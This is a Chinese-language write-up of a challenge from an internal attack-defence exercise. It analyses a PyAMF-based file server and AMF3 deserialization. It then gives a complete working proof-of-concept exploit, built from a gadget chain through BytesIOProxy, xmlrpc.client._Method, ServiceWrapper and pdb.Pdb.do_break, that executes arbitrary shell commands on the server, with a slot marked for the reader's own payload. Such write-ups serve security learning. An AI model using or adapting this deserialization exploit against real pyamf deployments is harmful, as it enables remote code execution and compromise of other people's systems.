KnownSec 2023年度第九次内部攻防演练
题目源码 -> vyrpgtqhknoxypax.bz2
对题目下载的源码分析,发现为一个简易的文件服务器,但是需要密码才能登录
from pyamf.remoting.gateway.wsgi import WSGIGateway
import logging
logger = logging.getLogger()
logger.setLevel(logging.DEBUG) # 设置日志级别为 NOTSET
# 创建一个 StreamHandler 处理器并设置其级别为 DEBUG
stream_handler = logging.StreamHandler()
stream_handler.setLevel(logging.DEBUG)
# 创建一个格式化器并将其应用于处理器
formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')
stream_handler.setFormatter(formatter)
# 将处理器添加到 logger
logger.addHandler(stream_handler)
ADMIN_USER = "??"
ADMIN_PASS = "??"
class FileManagerService:
def read(self, filename):
with open(filename, "rb") as f:
return f.read()
def list(self, path="/"):
import os
return os.listdir(path)
def auth(username, password):
if username == ADMIN_USER and password == ADMIN_PASS:
return True
return False
gateway = WSGIGateway({"file_manager": FileManagerService}, authenticator=auth, logger=logger)
if __name__ == "__main__":
from wsgiref import simple_server
host = "0.0.0.0"
port = 5000
httpd = simple_server.WSGIServer((host, port), simple_server.WSGIRequestHandler)
httpd.set_app(gateway)
logger.info("Running Authentication AMF gateway on http://%s:%d" % (host, port))
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
从github上的 pyamf 介绍可以看到 他是与Flash的amf兼容的一个库,与常用的python web框架Django,Pylons,Twisted,SQLAlchemy,web2py兼容。

它可以利用amf协议定义下的格式,进行远程对象调用、执行,于是只要满足amf格式的对象就能够进行远程调用,即可;
通过查阅资料可以得知,AMF3需要满足以下格式
00 03 00 00 00 01 00 01 61 00 01 62 ......
# 00 03 amf协议的版本号 3
# 00 00 头部数据 为0
# 00 01 消息体 1
# 00 01 目标长度
# 61 目标 -> a
# 00 01 接收长度
# 62 接收方 b
# ..... 消息体而消息体只需要满足是amf转换的 对象 int、bool、等类型的数据均可被传递

在py3amf这个包中,它本身支持序列化和反序列化,于是我们只需要了解它的调用过程,就可以利用这一特点进行远程代码执行。
在pyamf\remoting\gateway\wsgi.py 这个方法对远程代码进行了解码操作

跟进,就会发现它读出了我们设定的target和response


而关键就在decoder.readElement()->self._readElemnt()中


首先是读出了字节是哪种类型

而这个函数就是读出amf格式的对象

首先会读出类名 -> 静态属性、动态属性,这就完成了一个对象的加载。



但最后为何会触发这些被实例化的对象呢,我们知道在python 存在某些魔法方法,当在一定条件下,就会触发,例如,以下函数:






所以后续操作时,很容易就会触发这些魔法方法,当我们就需要寻找 在那个魔法方法里能够找到一个 我们可以控制并调用的其他对象的方法的一些调用链,最终找到能够控制的函数调用 eval、exec 、os.system
然而这道题给了我们提示,在这个建议的文件服务器中,满足一定条件就可以调用我们生成出来的service
如下所示


不难看出,只要self.service、method、params可以控制,就可以实现任意类的公有方法调用,所以我们需要向上查找,那个能够对象触发pyamf.remoting.gateway.ServiceWrapper的__call__方法、满足调用时存在两个参数,并且能够实例化时不需要任何参数,就能够实例化,很遗憾我没有直接 直接找到这么一个类满足这个条件,但我找到了一个类可以通过重复调用自己使其满足两个,并且它的__new__ 方法不需要任何参数

我发现这个最外层的对象在 Request()中进行,空对象比较是,会触发__len__方法


所以后面能够衔接 只要调用属性对象被当成方法调用即可

最终在pyamf.util.pure.BytesIOProxy的__len__ 找到了

我们此时能够对任意类的任意方法执行了,于是找一个执行了eval、exec 的方法即可,一个常用的类pdb.Pdb中的很多方法都调用了exec,但我们需要一个公开的方法 do_break

于是完整的poc如下
from pyamf import amf0, amf3, util
AMF = amf3
def serialize(obj):
stream = util.BufferedByteStream()
context = AMF.Context()
encoder = AMF.Encoder(stream, context)
encoder.writeElement(obj)
return stream.getvalue()
def deserialize(data):
stream = util.BufferedByteStream(data)
context = AMF.Context()
decoder = AMF.Decoder(stream, context)
return decoder.readElement()
def serialize_attrs(attrs):
s = b""
for k, v in attrs.items():
s += serialize(k)[1:]
if isinstance(v, Obj):
s += v.serialize()
else:
s += serialize(v)
s += serialize(None)
return s
class Obj:
def __init__(self, _name, **kwargs):
self.name = _name
self.attrs = kwargs
def serialize(self):
s = b"\x0a\x0b" + serialize(self.name)[1:]
s += serialize_attrs(self.attrs)
return s
serialized = Obj(
"pyamf.util.pure.BytesIOProxy",
_len_changed=True,
_len=48763,
_get_len=Obj(
"xmlrpc.client._Method",
_Method__send=Obj(
"xmlrpc.client._Method",
_Method__send=Obj(
"pyamf.remoting.gateway.ServiceWrapper",
service=Obj(
"pdb.Pdb",
curframe=Obj("pyamf.adapters._weakref.Foo", f_globals={}),
curframe_locals={},
stdout=None
),
),
_Method__name="do_break",
),
_Method__name="""
__import__("os").system("dir")
""".strip(), # your exploit here
),
).serialize()
import requests
serialized = b"\x11" + serialized
r = requests.post(
"http://localhost:5000/",
data=b"\x00\x03"
+ b"\x00\x00"
+ b"\x00\x01"
+ b"\x00\x01c"
+ b"\x00\x01b"
+ len(serialized).to_bytes(4, "big") + serialized,
)
print(r.text)
Referer